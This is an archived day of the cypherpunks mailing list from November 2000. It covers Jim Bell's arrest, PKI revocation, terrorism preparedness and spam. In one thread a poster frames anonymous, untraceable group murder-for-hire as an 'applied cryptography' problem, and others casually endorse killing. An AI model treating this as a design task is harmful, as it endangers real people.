<4.3.0.20001127093616.016a29a0@mail.well.com> Advisory Panel to Assess Preparedness for Incidents Involving Weapons of Mass +Destruction (Terrorism Panel) Seventh meeting to finalize its second annual report due December 14 on key components of a domestic terrorism strategy, November 27-28. Location: RAND Headquarters, 1200 South Hayes St., Arlington, VA. 1 p.m. Contact: Mike Wermuth, 703-413-1100, +http://www.rand.org/organization/nsrd/terrpanel, or Mark Miner, 804-692-3110, http://www.thedigitaldominium.com From no.user at anon.xg.nu Mon Nov 27 07:00:00 2000 From: no.user at anon.xg.nu (No User) Date: Mon, 27 Nov 2000 10:00:00 -0500 Subject: CDR: Re: Jim Bell arrested documents online Message-ID: <2f9d04e3b9b01bc38f26704a15e9597d@anon.xg.nu> Ken Brown wrote: > Fewer cops get killed that way - 17 in the last 35 years I think. The > USA can lose that many in a bad summer. In a good summer they lose a lot more. From ptrei at rsasecurity.com Mon Nov 27 07:00:01 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Mon, 27 Nov 2000 10:00:01 -0500 Subject: CDR: RE: Internet anonymity/pseudonymity meeting invitation Message-ID: > jbash-nymip-dec2000-meeting at velvet.com wrote: > > The NymIP Research Group will hold its first physical meeting on Sunday, > December 10, 2000, from 14:30 US/Pacific (22:30 UCT) to 17:00 US/Pacific > (01:00 UCT December 11), before the IETF meeting in San Diego, > California. We invite interested parties to attend, either in person or > by telephone. > > The NymIP-RG is a newly formed entity dedicated to studying anonymity > and pseudonymity in Internet communication. [...] > This first meeting is a brief, relatively unstructured get-to-know-you > affair, designed to identify those interested and start them talking to > one another. [...] > -- J. Bashinski > Secretary, NymIP-RG > Does anyone besides me find irony in having a 'get-to-know-you' session for a group studying anonymity? Will they allow masked attendees? Will the mailng list allow posts from anonymous remailers, or is it closed? Is there a website to allow anonymous reading? Practice what you preach.... Peter Trei 'The anarchists were highly disciplined....' From ptrei at rsasecurity.com Mon Nov 27 07:04:17 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Mon, 27 Nov 2000 10:04:17 -0500 Subject: CDR: RE: On 60" tonight Message-ID: 60" Sixty seconds? Is that a real quickie version of 60' (Sixty minutes? Notation counts (watch This Is Spinal Tap for another amusing example of this type of goof-up). Peter Trei > ---------- > From: George at orwellian.org[SMTP:George at orwellian.org] > Reply To: George at orwellian.org > Sent: Sunday, November 26, 2000 6:32 PM > To: cypherpunks at cyberpass.net > Subject: On 60" tonight > > My on-screen guide said "FISA", tvguide.com says, > "Mike Wallace looks at one couple's claim that > they were set up by the FBI and wrongly convicted of espionage." > From tcmay at got.net Mon Nov 27 10:17:44 2000 From: tcmay at got.net (Tim May) Date: Mon, 27 Nov 2000 10:17:44 -0800 Subject: CDR: RE: On 60" tonight In-Reply-To: References: Message-ID: At 10:04 AM -0500 11/27/00, Trei, Peter wrote: >60" Sixty seconds? Is that a real quickie version of 60' (Sixty >minutes? > >Notation counts (watch This Is Spinal Tap for another amusing >example of this type of goof-up). > >Peter Trei I had assumed he was talking about watching "60 Minutes" on his 60" television screen. I guess I was projecting. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From dennis.lazreg at telenor.com Mon Nov 27 01:28:51 2000 From: dennis.lazreg at telenor.com (dennis.lazreg at telenor.com) Date: Mon, 27 Nov 2000 10:28:51 +0100 Subject: CDR: CryptAcquireContext Message-ID: <696D8718183DD411BC7100D0B7458D251833DE@BDR-OSL-24-207> Hi I need some help - I am using CryptAcquireContext and I get an error 80090016 What can I do to get around this problem ? Dennis From ptrei at rsasecurity.com Mon Nov 27 07:29:54 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Mon, 27 Nov 2000 10:29:54 -0500 Subject: CDR: RE: Re: Jim Bell arrested, documents online Message-ID: > ---------- > From: Greg Newby[SMTP:gbnewby at ils.unc.edu] > "de puta madre!" > > But seriously, folks: How would you work with a like-minded > distributed group to murder someone? Preferably with guaranteed > no risk of discovery or prosecution to the participants. > > - Would we need to assume the someone would be the "hands," e.g., > your good ole' professional hit-man? How would s/he be contacted? > > - How would the person be paid? How would the money be collected > from the different people who pay? > > - What trust model would work? Would it be more desirable for > all players to be completely anonymous? Cells of people who know > each other? > > - Could this all be done legally (without the individuals who > are planning and paying needing to commit any crimes)? [...] > -- Greg > Um, governments and organized crime achieve this goal on a regular basis. Governments by having an effective monopoly on violence in a given area (George the Second bears the blood of over 300 people who presented no threat to society (they were already incarcerated)). Organized criminals by having the resources and manpower to effectively separate the person ordering a hit from the person doing the hit, and to cover up the evidence. Beyond that, even non-distributed murders are often unsolved, especially when there is no pre-existing link between murderer and victim (eg, many serial killers). Peter From ericm at lne.com Mon Nov 27 10:36:37 2000 From: ericm at lne.com (Eric Murray) Date: Mon, 27 Nov 2000 10:36:37 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <852569A4.0062EC39.00@lnsunr02.fl.firstdata.com>; from Lynn.Wheeler@firstdata.com on Mon, Nov 27, 2000 at 10:58:23AM -0800 References: <852569A4.0062EC39.00@lnsunr02.fl.firstdata.com> Message-ID: <20001127103637.A10845@slack.lne.com> On Mon, Nov 27, 2000 at 10:58:23AM -0800, Lynn.Wheeler at firstdata.com wrote: Hi Lynn! > problem is that consumer don't normally know that they want to check on a > particular merchant's CRL entry until they realize that they want to go to that > merchant site. in general, the consumer's aren't going to want keep a local > (usenet) database of all CRL entries (however they are distributed) ... so it is > more likely the ISP would have to keep all the entries ... pushed into a > database ... and let the consumer do an online database lookup of the CRL > entries (effectively the local ISP is keeping cached copy of all entries ... and > uses usenet as the distribution infrastructure). > > sometimes, usenet can take several hrs to a day to propogate ... so the person > may still want to do an online transaction against the agency that issued a > certificate > > In which case, the local ISP would be considered a "stand-in" ... maintaining a > negative file ... and returning positive answers if there isn't a match in the > negative file for the online transaction ... in which case the consumer may > still want to do another online transactions against the master file (located > somewhere in the internet). > > Given that online transactions are being performed ... then it may even be more > straightforward to use domain name infrastructure to manage distribution and > management of cached entries. It has a somewhat better online transaction > semantics than usenet (already). However, since this is turning into online > transaction infrastructure ... it is then possible to eliminate both the > certificates and CRLs totally and just use the straight-foward domain name > infrastructure. However, caching the revocation data (which DNS would do nicely) means that there needs to be some way for the relying parties to authenticate the cached revocation data. They could authenticate the DNS cache, but that means trusting all those DNS servers. More practically the DNS cache servers could authenticate the data as coming from a trusted DNS server (which is how DNSSEC works now I beleive). But that forces the relying parties to trust that the DNS server that they're getting the revocation data from has done the authentication. And it still doesn't address the issue of Mallet operating an evil DNS-CRL cache which sends out bogus revocation data. It also requires the DNS caches to do the public-key crypto. But, there's a solution- if the DNS servers and caches are sending out revocation data which is signed by the real authority for revocation data (whoever that may be for the application), and the relying parties do the verification, then there's no security problem with the intermediate DNS servers/caches. So, IMHO, signed CRLs serve a purpose. I agree that a cache system like DNS would be nice for CRL distribution but I think that a usenet-type system would be good enough in practice. I don't think that propagation delays are that big a problem in practical use for TLS sites. A CRL would only be issued if a merchant has shown some amount of bad behaviour, or if there's been a key compromise. For bad behaviour, there would likely be some sort of process involved in issuing the CRL- one single report of merchant fraud would not cause an issuer to revoke a cert instantly. So if a merchant goes "bad", there's likely to be quite a delay before they're revoked- notices, appeals, etc. A few hours taken in the distribution of the CRL once the issuer's completed the process isn't going to make the problem noticeably worse. It'd be nice to have instant CRL distribution for key compromise, but most sites will have been running with the compromised key for some time before it's detected. If a site really cares about security after a key compromise, it could just go get a new cert and use that (after fixing the problem that caused the compromise of course). -- Eric Murray Consulting Security Architect SecureDesign LLC http://www.securedesignllc.com PGP keyid:E03F65E5 From pmohr at cato.org Mon Nov 27 07:45:44 2000 From: pmohr at cato.org (Patricia Mohr) Date: Mon, 27 Nov 2000 10:45:44 -0500 Subject: Cato study: U.S. government leaves public unprepared for terrorism Message-ID: Cato Institute News Release November 27, 2000 U.S. Government Leaves Public Unprepared For Terrorism Preparation for nuclear, biological and chemical attacks is deeply flawed, study says WASHINGTON -- Many experts agree that the United States is likely to experience a terrorist attack using a weapon of mass destruction, probably within the next decade. But how prepared is America for a nuclear, biological or chemical (NBC) attack on the homeland? Not very, according to a new study from the Cato Institute. Despite spending tens of billions of dollars annually on preparation programs, the federal government has failed to take advantage of existing emergency management structures and to educate the public about how to react to an attack, argues Eric. R. Taylor, a chemistry professor and former officer in the Nuclear, Biological and Chemical branch of the U.S. Army. In "Are We Prepared for Terrorism Using Weapons of Mass Destruction?" Taylor exposes the flaws in the federal Domestic Preparedness Program (DPP), which was set up in 1997 and directs various federal agencies to train state and local governments to deal with NBC terrorism. When the federal government decided who should be trained, it targeted only cities, and then only halfway, leaving "personnel in more than 50 percent of the major U.S. population centers ... unprepared for such an attack," he says. But since NBC contamination spreads quickly, it's not just cities that need to know how to respond, Taylor argues. State and regional structures such as the State Emergency Management Agencies and National Guard units have been largely bypassed by the DPP, Taylor says. Those agencies already have experience in coordinating responses to terrorism and hazardous material disasters. Furthermore, they could have been passing on acquired knowledge to subordinate groups while the federal government moved on to other states, Taylor argues. The "pyramid effect" has been reduced by focusing on cities in isolation, he says. Even if the training programs were better targeted, Taylor argues, they are useless without public involvement. "The lack of any organized program to actively educate the public in matters of NBC awareness and preparedness is the Achilles' heel of the entire national plan," he writes. Without education, the government "will have two foes to combat during an attack: the NBC agent and rampant civil panic," he says. "The concepts and principles of NBC taught to the private first class soldier can be understood by Mr. and Mrs. John Q. Public," Taylor says. But they must be taught in advance. "Any official who thinks he can adequately inform the public during an NBC incident will be preaching to the morgue," he says. Policy Analysis no. 387 (http://www.cato.org/pubs/pas/pa-387es.html) Contact: Eric R. Taylor, associate professor of chemistry, University of Louisiana, 337-482-6738 Ivan Eland, director of defense policy studies, 202-218-4630 Randy Clerihue, director of public affairs, 202-789-5266 The Cato Institute is a nonpartisan public policy research foundation dedicated to broadening policy debate consistent with the traditional American principles of individual liberty, limited government, free markets, and peace. ----- End forwarded message ----- From reinhold at world.std.com Mon Nov 27 07:53:35 2000 From: reinhold at world.std.com (Arnold G. Reinhold) Date: Mon, 27 Nov 2000 10:53:35 -0500 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <852569A0.0064CED7.00@lnsunr02.fl.firstdata.com> References: <852569A0.0064CED7.00@lnsunr02.fl.firstdata.com> Message-ID: At 11:17 AM -0800 11/23/2000, Lynn.Wheeler at firstdata.com wrote: >Basically cetificates are an implementation of R/O partial replicated >distributed data that were intended to address availability of >information in a >predominately offline environment. > >In the SSL server certificates, distribution of CRLs tend to create a problem >for consumers because they aren't likely to want to see >99.99999999999999999999% >of the CRLs distributed and/or they aren't online at the time the CRLs are >distributed (and/or if done via email would create a horrible spam issue ... >every possible consumer in the world receiving email CRLs from every >possile SSL >server certificate issuing CA). Sounds like a job for Usenet. Arnold Reinhold From gbnewby at ils.unc.edu Mon Nov 27 07:57:37 2000 From: gbnewby at ils.unc.edu (Greg Newby) Date: Mon, 27 Nov 2000 10:57:37 -0500 Subject: CDR: Re: Re: Jim Bell arrested, documents online In-Reply-To: ; from ptrei@rsasecurity.com on Mon, Nov 27, 2000 at 10:29:54AM -0500 References: Message-ID: <20001127105737.B21014@ils.unc.edu> On Mon, Nov 27, 2000 at 10:29:54AM -0500, Trei, Peter wrote: > > > > ---------- > > From: Greg Newby[SMTP:gbnewby at ils.unc.edu] > > "de puta madre!" > > > > But seriously, folks: How would you work with a like-minded > > distributed group to murder someone? Preferably with guaranteed > > no risk of discovery or prosecution to the participants. > > > > - Would we need to assume the someone would be the "hands," e.g., > > your good ole' professional hit-man? How would s/he be contacted? > > > > - How would the person be paid? How would the money be collected > > from the different people who pay? > > > > - What trust model would work? Would it be more desirable for > > all players to be completely anonymous? Cells of people who know > > each other? > > > > - Could this all be done legally (without the individuals who > > are planning and paying needing to commit any crimes)? > [...] > > -- Greg > > > Um, governments and organized crime achieve this goal on a > regular basis. > > Governments by having an effective monopoly on violence in a > given area (George the Second bears the blood of over 300 > people who presented no threat to society (they were already > incarcerated)). > > Organized criminals by having the resources and manpower to > effectively separate the person ordering a hit from the person > doing the hit, and to cover up the evidence. > > Beyond that, even non-distributed murders are often unsolved, > especially when there is no pre-existing link between murderer > and victim (eg, many serial killers). Right, I agree. But what I'd like to consider is a recipe for "plain ordinary" folk to conspire anonymously to commit murder. Not just any murder: murder for some of the people who (some people on this list have said), are needing killin'. If a bunch of crypto anarchists or whoever decide to knock off Bill Gates or Al Gore (who really didn't invent the Internet well enough...), you can bet someone will come looking pretty hard! Again, I see this as a serious problem in applied cryptography. -- Greg From honig at sprynet.com Mon Nov 27 07:57:50 2000 From: honig at sprynet.com (David Honig) Date: Mon, 27 Nov 2000 10:57:50 -0500 Subject: CDR: Re: On 60" tonight In-Reply-To: <3.0.5.32.20001126193905.01b04930@idiom.com> References: Message-ID: <3.0.6.32.20001127072532.007ff8c0@pop.sprynet.com> At 10:39 PM 11/26/00 -0500, Bill Stewart wrote: >Meanwhile, the speaker on CSpan Book Passage is talking about >how he and his friends attempted to not be swayed by the >Steve Jobs Reality Distortion Field ("We even had *hand signals* >to warn each other when they were getting sucked in..." :-) > Thanks! > Bill Think of the bandwidth we could save if we had emoticons for various forms of that, in this forum. From honig at sprynet.com Mon Nov 27 07:57:51 2000 From: honig at sprynet.com (David Honig) Date: Mon, 27 Nov 2000 10:57:51 -0500 Subject: CDR: Re: Jim Bell arrested documents online In-Reply-To: <3A223EF4.417EE954@ricardo.de> References: <3.0.6.32.20001124082904.007fa3e0@pop.sprynet.com> Message-ID: <3.0.6.32.20001127074317.007f84f0@pop.sprynet.com> At 12:01 PM 11/27/00 +0100, Tom Vogt wrote: >David Honig wrote: >> But the threat of coercion is not so abstract: you *do* see guns on the hip >> of every cop or park ranger you run into. And 'cop shows' detail the >> paramilitary forces ready to knock down your doors. I have yet to see >> free-ranging IKEA police threatening the citizens or constitution recently. > >that's because corporations work more efficiently than governments. they >use whatever does the job with the minimal cost. at the moment, it's >armies of lawyers sueing critics to hell and back for some bogus shit. >the government thoughtfully provides the weapons and thugs once you won >in the courtroom. > >rest assured, once the government stops doing so (e.g. by disappearing), >corporations *will* start to raise armies of their own. Hmm. Corporations are the equivalent of wealthy individuals. Nothing special about 'corps' as synthetics. So equivalent to, say, criticising a Mafia Don. In a Gibsonian future where governments aren't strong enough to defend everyone's rights, you'd have strong anonymity so the ability of wealthy entities to sue for slander would be gone. Corporations that make products would remain succeptible to tampering as well as bad press, though the tampering would be in a tamperer vs. tamper-resistant fox & rabbit technological arms race. ("I'll see your watermark and raise you two reverse engineers" :-) But yeah, everyone would have their own police if there were no common one. Hmm, That's an irony of anarchy, that it turns into a tessellation of police(d) microstates real quickly. From honig at sprynet.com Mon Nov 27 07:57:51 2000 From: honig at sprynet.com (David Honig) Date: Mon, 27 Nov 2000 10:57:51 -0500 Subject: CDR: Re: Jim Bell arrested documents online In-Reply-To: <3A226E1C.50E11731@ccs.bbk.ac.uk> References: <3.0.6.32.20001124082904.007fa3e0@pop.sprynet.com> Message-ID: <3.0.6.32.20001127075711.007f68a0@pop.sprynet.com> At 02:22 PM 11/27/00 +0000, Ken Brown wrote: >David Honig wrote: >> But the threat of coercion is not so abstract: you *do* see guns on the hip >> of every cop or park ranger you run into. > >You might. It's not like that where I live. I don't think I'd ever seen >a handgun other than on TV until I was over 20, & that was in a foreign >country. I've still never held one. I don't see the point of such celibacy when there are such pleasures... >Shotguns yes, people kill birds with >them. I'm all for banning all non-military arms from private possession. The right to bear arms isn't about ducks. Of course, there are military applications for shotguns. Rifles - very occasionally with the military or armed police, but >most people don't live near military bases & most police don't carry >rifles in public. I doubt if I see more than one or two a year (*). I was impressed by the fellow with the full auto submachine gun facing the street, guarding the bank in Spain. And the teenagers with mil rifles at stops in Mexico, kleenex in the muzzle to keep sand out. I guess in the UK you'd have to go up north to see those nice soldiers with their friendly checkpoints and heavy rifles. Never been to Israel or Africa or Switzerland but I hear they know what firearms look like. But of course, Brits don't see their policers' guns. After all, it is becoming known in the animal husbandry industry that sheep produce more if they are not stressed. See "Livestock Behaviour, Design of Facilities and Humane Slaughter" at www.grandin.com. From Lynn.Wheeler at firstdata.com Mon Nov 27 10:58:23 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Mon, 27 Nov 2000 10:58:23 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... Message-ID: <852569A4.0062EC39.00@lnsunr02.fl.firstdata.com> problem is that consumer don't normally know that they want to check on a particular merchant's CRL entry until they realize that they want to go to that merchant site. in general, the consumer's aren't going to want keep a local (usenet) database of all CRL entries (however they are distributed) ... so it is more likely the ISP would have to keep all the entries ... pushed into a database ... and let the consumer do an online database lookup of the CRL entries (effectively the local ISP is keeping cached copy of all entries ... and uses usenet as the distribution infrastructure). sometimes, usenet can take several hrs to a day to propogate ... so the person may still want to do an online transaction against the agency that issued a certificate In which case, the local ISP would be considered a "stand-in" ... maintaining a negative file ... and returning positive answers if there isn't a match in the negative file for the online transaction ... in which case the consumer may still want to do another online transactions against the master file (located somewhere in the internet). Given that online transactions are being performed ... then it may even be more straightforward to use domain name infrastructure to manage distribution and management of cached entries. It has a somewhat better online transaction semantics than usenet (already). However, since this is turning into online transaction infrastructure ... it is then possible to eliminate both the certificates and CRLs totally and just use the straight-foward domain name infrastructure. back again to certificates typically being superfulous and redundant in an online infrastructure. "Arnold G. Reinhold" on 11/27/2000 07:53:35 AM Please respond to "Arnold G. Reinhold" From ptrei at rsasecurity.com Mon Nov 27 08:16:03 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Mon, 27 Nov 2000 11:16:03 -0500 Subject: CDR: Giving the Devil the Benefit of Law (was: RE: Jim Bell arrested d ocuments online) Message-ID: I really find AP depressing. I find the arguments that it would only be used against 'those that needed killing' faulty, in that everyone has a different list. There are a lot of folk who would put crypto anarchists on their list (as well as, say, Major League Baseball umpires :-). "Law", and 'legal systems', when they operate correctly, do provide a brake on unpredictable and arbitrary violence. There is no question that they can be, and are, severely misused by the rich and powerful to their own ends. But not all the time, and not in all cases. Reading this thread makes me remember on of my favorite dramatic scenes: >From "A Man for all Seasons" by Robert Bolt. Sir Thomas More, a lawyer. Alice: His wife. Margaret: His daughter. Roper: His son-in-law. They are discussing a man whom they regard as suspicious: Margaret: "Father, the man is bad." More: "There's no law against that." Roper: "There is a law against it. God's law." More: "Then God can arrest him." Roper: "Sophistication upon sophistication!" More: "No. Sheer simplicity. The law, Roper, the law. I know what's legal, but I don't always know what's right. And I'm sticking with what's legal. Roper: "Then you set man's law against God's?" More: "No. Far below. But let me draw your attention to a fact. I am not God. The currents and eddies of right and wrong, which you find such plain sailing, I can't navigate. I'm no voyager. But in the thickets of the law, there I am a forester. I doubt if there's a man alive who could follow me there, thank God." Alice: "While you talk, he is gone." More: "And go he should, if he was the Devil himself, until he broke the law." Roper: "So now you'd give the Devil the benefit of law!" More: "Yes. What would you do? Cut a great road through the law to get to the Devil?" Roper: "I'd cut down every law in England to do that!" More: "Oh? And when the last law was down, and the Devil turned round on you -- where would you hide, Roper, the laws all being flat. This country's planted thick with laws from coast to coast -- man's laws, not God's -- and if you cut them down -- and you're just the man to do it -- do you really think you could stand upright in the winds that would blow then? Yes, I'd give the Devil benefit of the law, for my own safety's sake." ------------------- There are too many Ropers on this list. Peter From sunder at sunder.net Mon Nov 27 08:23:46 2000 From: sunder at sunder.net (sunder) Date: Mon, 27 Nov 2000 11:23:46 -0500 Subject: CDR: [Fwd: CyberPatrol - poor credit card protection (fwd)] Message-ID: <3A228A92.C19A87D@sunder.net> From tom at ricardo.de Mon Nov 27 02:58:41 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 27 Nov 2000 11:58:41 +0100 Subject: CDR: Re: Jim Bell arrested, documents online References: <200011222215.eAMMFEL10403@artifact.psychedelic.net> <3A1E49EC.31D1C493@ricardo.de> <20001124111028.A9581@ils.unc.edu> Message-ID: <3A223E61.26C60756@ricardo.de> Greg Newby wrote: > > Do people on this list really believe that the solution to > problems is to kill people? > > Or are we just getting sarcastic and frustrated? we've run this planet for a couple thousand years by way of killing people. never touch a running system, you know? From tom at ricardo.de Mon Nov 27 03:11:38 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 27 Nov 2000 12:11:38 +0100 Subject: CDR: Re: Jim Bell arrested, documents online References: Message-ID: <3A22416A.A8D29C82@ricardo.de> Jim Choate wrote: > > On Fri, 24 Nov 2000, Ray Dillinger wrote: > > > There are certain problems that no other solution for has ever > > been found. > > And this one doesn't either. > > > There has never been a human society that did not kill people. > > People kill people you idiot. Don't confuse WHAT and HOW something is done > with the WHY. > > 'the government' never did a damn thing. It can't because it isn't. bzzt, wrong. see, "the government" is collecting taxes. hold on, hold on! let me finish the paragraph, please. and sit down. thanks. now, you'll of course say that some *people* are collecting the taxes. yes, there are some accountants who do the physical job. but they are not only 100% replacable, they will also say - if asked - that they do it *for* someone, i.e. "the government". yes you are right that if everyone on the planet would reject a job as tax collector, there would be no tax collectors. however, we are all aware that saying something like "everyone" when you're referring to several million/billion/lots-of people doesn't work. so for practical purposes, the tax collectors can be ignored in the very same sense that *I* am writing this mail, not the keyboard I'm typing on. the point is: any sufficiently large group of people develops structures and dynamics that go beyond the individual persons. that's pretty much an accepted fact ever since DeBono, i.e. 1915 or whatever it was. From tom at ricardo.de Mon Nov 27 09:17:49 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 27 Nov 2000 12:17:49 -0500 Subject: CDR: Re: Jim Bell arrested documents online References: <3.0.6.32.20001124082904.007fa3e0@pop.sprynet.com> <3.0.6.32.20001127074317.007f84f0@pop.sprynet.com> Message-ID: <3A229598.7AC16F3F@ricardo.de> David Honig wrote: > >rest assured, once the government stops doing so (e.g. by disappearing), > >corporations *will* start to raise armies of their own. > > Hmm. Corporations are the equivalent of wealthy individuals. Nothing > special about 'corps' as synthetics. So equivalent > to, say, criticising a Mafia Don. not quite on the first point, but the 2nd comes closer. the difference between individuals and corps is that the corp has far more assets and activities to protect and that it usually has more than one mind. every large corp is at least a little shizophrenic - look at IBM for a good example. > But yeah, everyone would have their own police if there were no common > one. Hmm, That's an irony of anarchy, that it turns into a tessellation > of police(d) microstates real quickly. it' just a logical step. if robbing your electronics storehouse is no longer illegal because there's no law, or no government to enforce it, then you have to take steps yourself. I wonder whether taking over the government is economical. i.e. if the government were to disappear, would it be more cost-efficient for the corps to take over as rulers or to hire armies and only defend themselves? From info at giganetstore.com Mon Nov 27 04:48:33 2000 From: info at giganetstore.com (info at giganetstore.com) Date: Mon, 27 Nov 2000 12:48:33 -0000 Subject: CDR: Os jogos que a sua Dreamcast vai querer este Natal Message-ID: <00b5c3348121bb0WWWNETSTORE@wwwnetstore> Se pretender visualizar estes produtos numa página do seu browser em formato HTML, basta clicar aqui e veja imagens e descrições pormenorizadas. Desta vez o seu site preferido, resolveu oferecer-lhe uma gama de produtos, para todos os gostos e idades, apenas dedicados à consola Dreamcast . Exclusivamente a pensar em si, escolhemos 7 jogos e 2 acessórios. Para ter uma melhor sensação de realismo e mais liberdade sem largar a sua consola, navegando através da Internet. Jogos: Virtua Striker 2 5.520$00 39,41 euros Poupe 17% Metropolis Street Racer 10.130$00 50,53 euros Poupe 12% Tomb Raider the Last Revelation 5.520$00 27,53 euros Poupe 20% Virtua Tennis 10.130$00 50,53 euros Poupe 8% Sega Extreme Sports 10.130$00 50,53 euros Poupe 12% Space Channel 5 10.130$00 50,53 euros Poupe 12% WWF Royal Rumble 10.130$00 50,53 euros Poupe 12% Acessórios: Dreamcast Keyboard 5.680$00 28,33 euros Poupe 19% Vibration Pack 5.680$00 28,33 euros Poupe 19% Para retirar o seu email desta mailing list deverá entrar no nosso site http://www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2934 bytes Desc: not available URL: From anonymous at openpgp.net Mon Nov 27 10:15:11 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Mon, 27 Nov 2000 13:15:11 -0500 Subject: CDR: german copyright fascism CD tax Message-ID: HP to pay antipiracy fee for CD burners FRANKFURT, Germany (AP) Computer giant Hewlett-Packard has become the first company to be snagged by a German law requiring firms to pay fees for making CD burners that are being used to illegally lift the latest hits off the World Wide Web. The case sets the stage for other European countries to possibly adopt similar rules to stem an epidemic that cost the music industry an estimated $5 billion last year. But analysts blasted the agreement reached Thursday as another example of Germanys notorious thatch of regulations. http://www.usatoday.com/life/cyber/tech/review/crh737.htm From anonymous at openpgp.net Mon Nov 27 10:30:18 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Mon, 27 Nov 2000 13:30:18 -0500 Subject: CDR: another J Bell report not _Wired_ Message-ID: <14fed69a7d3b88ef21c99cee05640e74@mixmaster.ceti.pl> http://apbnews.com/newscenter/breakingnews/2000/11/21/cyberstalk1121_01.html Bitter Man Accused of Stalking Federal Agents Sought to Turn Tables on Investigators, Authorities Charge Nov. 21, 2000 By Joe Beaird TACOMA, Wash. (APBnews.com) -- A convicted felon with a decade-long antagonism against the federal government has been arrested for stalking two Treasury Department agents. James D. Bell of Vancouver is being held at a federal detention center near the SeaTac International Airport as he awaits a bail hearing Wednesday. Bell is the author of an Internet manifesto called Assassination Politics, which proposes a way for people to anonymously claim cash rewards for correctly "predicting" the deaths of government employees and officeholders. The current charges against Bell allege that he made interstate trips attempting to track down agents Jeff Gordon and Mike McNall, who work for the Treasury Departments inspector general for tax administration. Bell allegedly pursued these agents, who had investigated him in previous cases, "with the intent to injure or harass" them, according to the 17-page criminal complaint filed with the U.S. District Court, Western District of Washington at Tacoma. Prior record Gordon led a team of agents who searched Bells house and arrested him in 1997 on similar stalking charges. He has also testified against Bell -- a Massachusetts Institute of Technology chemistry graduate -- on several occasions. McNall was involved in another 1996 case in which Bell was convicted of "corrupt interference" with internal revenue laws. "It had to do with Mr. Bells belief that the agents were illegally harassing him, and his response was to begin an investigation of them," said Bells court-appointed defense lawyer Robert M. Leen. Leen was appointed after Bell complained in Internet-published letters that the federal public defenders office was acting in collusion with federal prosecutors. "Given Mr. Bells history of stalking and aggressively pursuing people when he feels that someone has wronged him, the public defenders office thought it would be best if someone outside the office represented him," Leen told APBnews.com. Allegedly gathered names of workers According to the criminal complaint against him, Bell has been using online databases, voter registration data and motor vehicle records to collect the names and home addresses of dozens of government employees working for the IRS, FBI, Bureau of Alcohol Tobacco and Firearms, as well as members of local police agencies. He also has bragged of using his chemistry knowledge to manufacture the toxic nerve gas sarin, the complaint alleges. In 1997, he pleaded guilty to contaminating an IRS office with noxious chemicals, collecting the names of IRS employees, attempting to obstruct the enforcement of internal revenue laws, and using false Social Security numbers to hide his assets, according to the criminal complaint against him. Bell apparently believes that federal officials will be less apt to investigate him if he collects personal information about them. In Internet newsgroup postings he allegedly wrote: "It is very likely that these people will be far more pliable and less abusive in the future if they are well-known." After having tracked down what he thought was Gordons home address and personal information, but which was in fact data about another Jeff Gordon who has a son, Joshua, Bell allegedly posted the following Internet message: "So say goodnight to Joshua, Mr. Anonymous. Tell him its not his fault that his father is a thug." Playing with chemicals Bells vendetta against the government apparently took root in 1989 when he was arrested for the possession of unregistered chemicals at his home, said Milo Wadlin, Bells brother-in-law. "He picked up this one chemical that has almost no uses except to manufacture methamphetamines," Wadlin told APBnews.com. "It wasnt illegal to have it, but they busted his place and it was all over the papers that he had a meth lab. ... He became bitter at that point." Though not illegal to possess, the chemical had to be registered, and Bell failed to do so. He was sentenced to probation, which he apparently violated, according to court records. Bell had always been a prankster, Wadlin said, and used to delight in filling aerosol cans with marijuana odor and spraying them at police gatherings. But after his arrest for unregistered chemicals, the tone changed, he said. From lists at politechbot.com Mon Nov 27 12:11:41 2000 From: lists at politechbot.com (Declan McCullagh) Date: Mon, 27 Nov 2000 15:11:41 -0500 Subject: CDR: Cato study on biochemterror Message-ID: <20001127151141.A20486@cluebot.com> ----- Forwarded message from Patricia Mohr ----- From santos_phillip at hotmail.com Mon Nov 27 16:58:21 2000 From: santos_phillip at hotmail.com (cyrus amirmomtahan) Date: Mon, 27 Nov 2000 16:58:21 -0800 Subject: No subject Message-ID: please email re: email remote interception -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 415 bytes Desc: not available URL: From declan at well.com Mon Nov 27 14:24:19 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 27 Nov 2000 17:24:19 -0500 Subject: CDR: Re: On 60" tonight In-Reply-To: ; from mnorton@cavern.uark.edu on Sun, Nov 26, 2000 at 07:59:59PM -0600 References: Message-ID: <20001127172419.A21948@cluebot.com> Yep. Tim's post is closer to what a cypherpunk would do if elected. :) I suspect that as soon as the election is over, probably in two weeks, we'll hear plenty of calls for "healing" and enough GOP leaders will go along with such a move. -Declan On Sun, Nov 26, 2000 at 07:59:59PM -0600, Mac Norton wrote: > Use your head. One of the first things Bush does is pardon Bill > Clinton. After all, given who's in charge of the prosecution, > if Gore gets elected Clinton gets prosecuted so the Repubs can keep > that circus going; if Bush gets elected, it's not only no longer > important, it looks vindictive, which is inconsistent with the > compassionate conservatism we've been hearing less and less about > lately and with "turning this country around", whatever that meant. > > So Bush pardons Clinton, which has the added plus of forcing Clinton > to the choice of taking it or not. That's *real* revenge. Not that > W. is that smart/mean, but his daddy is. > MacN > > > On Sun, 26 Nov 2000, Tim May wrote: > > > At 6:32 PM -0500 11/26/00, George at Orwellian.Org wrote: > > >My on-screen guide said "FISA", tvguide.com says, > > >"Mike Wallace looks at one couple's claim that > > >they were set up by the FBI and wrongly convicted of espionage." > > > > I notice you're babbling about what's on "60 Minutes" but not saying > > a peep about the certification of the election in Bush's favor. > > > > Now that an incoming Republican Administration will be able to > > prosecute Bill for 